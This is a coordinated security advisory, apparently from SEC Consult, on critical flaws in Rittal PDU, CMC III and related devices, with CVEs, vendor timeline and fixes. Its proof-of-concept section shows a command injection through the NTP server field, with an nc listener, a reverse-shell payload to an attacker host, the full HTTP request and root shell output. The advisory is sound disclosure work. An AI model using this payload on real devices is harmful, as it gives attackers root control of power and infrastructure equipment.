Share
## https://sploitus.com/exploit?id=PACKETSTORM:158383
SEC Consult Vulnerability Lab Security Advisory < 20200708-0 >  
=======================================================================  
title: Multiple Critical Vulnerabilities  
product: Multiple Rittal Products based on same software, e.g.  
CMC III PU Compact, CMC III PU 7030.000  
PDU (whole portfolio),  
LCP-CW, IoT Interface 3124.300  
vulnerable version: various, see affected versions below  
fixed version: various, see solution versions below  
CVE number: CVE-2020-11951, CVE-2020-11952, CVE-2020-11953, CVE-2020-11955, CVE-2020-11956  
impact: critical  
homepage: https://www.rittal.com  
found: 2019-12  
by: J. Kruchem (Office Vienna)  
C. Svoboda  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"Since its foundation in 1961, Rittal has continuously evolved into  
the world's leading systems provider for enclosures, power distribution,  
climate control, IT infrastructure and software & services.  
Today, "Rittal - The System." offers you a perfectly coordinated system  
platform. It unites innovative productions, pioneering engineering  
solutions and global service to accommodate the most diverse  
requirements. It caters to a whole host of industries, from machinery  
and plant engineering, to the automotive industry, through to  
information technology. All from a single source, all in top quality."  
  
Source: https://www.rittal.com/com-en/content/en/unternehmen/portr_t/unternehmenspr_sentation/Unternehmenspr_sentation.jsp  
  
  
Business recommendation:  
------------------------  
The vendor provides a patch which should be installed immediately, except for the PDU.  
There is no date for a patch for the PDU until now and it is unclear  
if it will be updated ever since a new PDU product will be released.  
SEC Consult recommends to perform a thorough security review conducted  
by security professionals to identify and resolve potential further  
critical security issues.  
  
  
Vulnerability overview/description:  
-----------------------------------  
The tested devices consist of several critical vulnerabilities.  
  
1) CLI Menu Bypass (CVE-2020-11952)  
When connecting via SSH to the PDU/CMC III devices one can configure the devices  
via a CLI menu. It is easily possible to bypass this menu and break out to the  
shell on the device. An attacker is then able to access the whole filesystem with  
the corresponding user accounts used for SSH login and conduct further attacks.  
  
2) Insecure Configuration of System Files (/etc/shadow & /etc/passwd) (CVE-2020-11955)  
Critical OS files such as /etc/shadow and /etc/passwd are configured in an  
insecure way. Everybody has full read, write and executable rights for these  
two files. Therefore, every user who has authenticated / low privileged access to  
the device could elevate the privileges up to root rights by just manipulating the  
shadow file.  
  
3) Hard-Coded Root Backdoor Account (CVE-2020-11951) & Weak Password Storage Algorithm  
The root user account that exists on both PDU and CMC III devices, have the  
identical password hash within the shadow file. This indicates that once an  
attacker knows the password, the attacker would have access to several Rittal  
devices with the highest possible user rights. The root user including the  
password is not documented publicly. Furthermore, the MD5 hashing algorithm is  
being used for storing password hashes within the /etc/shadow file.  
  
4) Outdated Software Components  
The tested devices have several outdated software versions with publicly known  
vulnerabilities installed. The devices use outdated OpenSSL, Linux kernel and other  
software components.  
  
The outdated versions can also be identified by automatic firmware analysis tools such  
as IoT Inspector.  
  
5) Command Injection (CVE-2020-11953) / Privilege Escalation  
The NTP server setting from the web interface of the PDU and CMC III is vulnerable to  
a trivial command injection vulnerability when changing the IP address settings.  
The command gets executed as root on the device while the attacker only has to be logged  
on as pdu or admin user.  
  
Info: Fixed in later versions (PDU: V5.15.40/CMC III: V3.15.70_4)  
This vulnerability is mentioned in this advisory because devices, such as the PDU, are  
not updated regularly since critical servers are often attached to these PDUs.  
The vulnerability has been fixed by the vendor in the current firmware releases.  
  
6) Webserver Started as Root (CVE-2020-11956)  
The webserver runs as root which does not apply to the least privilege principle.  
Thus, a command injection vulnerability in the webserver would lead to a privilege  
escalation to root of the whole device.  
  
  
Proof of concept:  
-----------------  
1 - 4  
No PoC because no fix is in prospect to date.  
  
5) Command Injection / Privilege Escalation  
To exploit the command injection in the NTP configuration perform the following steps (PDU).  
As a proof of concept, a reverse shell is being started:  
a) Visit the web interface of either PDU or CMC III and login with default  
credentials pdu or admin [PIC1]  
b) Go to "Settings" -> Date/Time [PIC2]  
c) Enter an NTP Server (it is enforced via JavaScript to only enter numbers and dots)  
and intercept the request with a web proxy such as Burp.  
d) Start an nc listener on the attacker's machine: e.g.  
$ nc -lvp 9999  
e) Click "save" and modify the request and add the following proof of concept for  
the IP address:  
$(nc <attacker-ip>:9999 -e /bin/sh)  
The nc syntax may vary depending on the firmware and device.  
  
Note: The commands are being run as root!  
  
The request would look similar to the following:  
  
POST /cgi-bin/json.cgi HTTP/1.1  
Host: $deviceIP  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Content-Length: 238  
Connection: close  
Cookie: SaveStateCookie=pu  
  
setConfig={"sessionId":1556766739,"configs":[{"option":500,"value":27},{"option":502,"value":"12:58:44"},{"option":503,"value":"10.12.2019"},{"option":504,"value":1},  
{"option":505,"value":"xyz $(nc $attackerIP:9999 -e /bin/sh)"},{"option":506,"value":"0.0.0.0"}]}  
  
f) Receive the connection and be root:  
  
$ nc -lvp 9999  
listening on [any] 9999 ...  
connect to [$IP] from  
[$IP] 56274  
#pwd  
/  
#whoami  
Root  
  
6) Webserver Started as Root  
see 5.  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following two devices have been tested and found to be vulnerable:  
*) CMC III PU Compact (CMCIII-PU-9333E0FB)  
*) PDU 7955.211 (PDU-3C002DEC)  
  
The already mentioned and the following products share the same base firmware and  
are affected as well according to Rittal:  
*) CMC III PU 7030.000 (V3.15.70_4)  
*) LCP-CW (V3.15.70_4)  
*) whole PDU device portfolio (V5.15.40_2)  
*) IoT Interface 3124.300 (V6.17.00)  
  
  
Vendor contact timeline:  
------------------------  
2020-01-21: Telephone conference with vendor & initial vulnerability discussion.  
2020-01-24: Vendor provides access to platform for encrypted advisory transmission.  
2020-01-30: Sent advisory to vendor.  
2020-01-31: Vendor assured to provide feedback in February.  
2020-02-19: Asked for status update.  
2020-02-26: Vendor answered in detail about affected devices, firmware versions and  
expected firmware release (April 2020 for CMC & LCP products).  
2020-03-05: Providing updated advisory to the vendor, asking for timeline regarding PDU update.  
2020-04-29: Asking for PDU update.  
2020-05-25: Informing customer that advisory will be released without PoC, since no date for PDU update is within sight.  
2020-06-30: PoCs removed for which no fix is available.  
2020-07-08: Coordinated release of security advisory  
  
  
Solution:  
---------  
The vendor provides patches or workarounds to their customers.  
  
Updated CMC and LCP firmwares can be downloaded under the following link:  
http://www.rittal.com/imf/none/3_1074/Rittal_7030000_Software_3_1074  
  
No schedule for PDU-updates.  
  
1) CLI Menu Bypass  
This issue is fixed in firmware versions V_.17.10.  
  
2) Insecure Configuration of System Files  
This issue is fixed in firmware versions V_.15.70 or higher.  
  
3) Hard-Coded Backdoor Root Account  
The root account cannot be exploited/used according to Rittal.  
Since the root password hash could not be cracked it was not possible to test if further exploitation is possible.  
  
The weak password storage algorithm is fixed in firmware versions V_.15.70 or higher but  
the passwords need to be changed once for each user in order to update the algorithm.  
  
4) Outdated Software Components  
The vendor updates the software components regularly with each patch. The most current  
libraries will be included in firmware versions V_.17.10.  
  
5) Command Injection / Privilege Escalation  
To fix the command injection vulnerability in the NTP server update the  
PDU to V5.15.40 (https://www.rittal.com/at-de/content/de/webspecial/softwareupdate_fuer_pdus.jsp)  
or the CMC III to V3.15.70_4 (https://www.rittal.com/de_de/rimatrix-downloads/index.asp?kat=security&subk=70)  
  
6) Webserver Started as Root  
The vendor answered that this issue will be fixed in a future update, but no schedule is  
available.  
  
Version 3.15.70 can be downloaded under: http://www.rittal.com/imf/none/3_1074/Rittal_7030000_Software_3_1074  
  
Workaround:  
-----------  
  
Restrict access to IoT devices strictly by following network segmentation and  
configuration best practices & hardening guidelines provided by the vendor.  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult  
Europe | Asia | North America  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It  
ensures the continued knowledge gain of SEC Consult in the field of network  
and application security to stay ahead of the attacker. The SEC Consult  
Vulnerability Lab supports high-quality penetration testing and the evaluation  
of new offensive and defensive technologies for our customers. Hence our  
customers obtain the most current information about vulnerabilities and valid  
recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://www.sec-consult.com/en/career/index.html  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://www.sec-consult.com/en/contact/index.html  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF J. Kruchem / @2020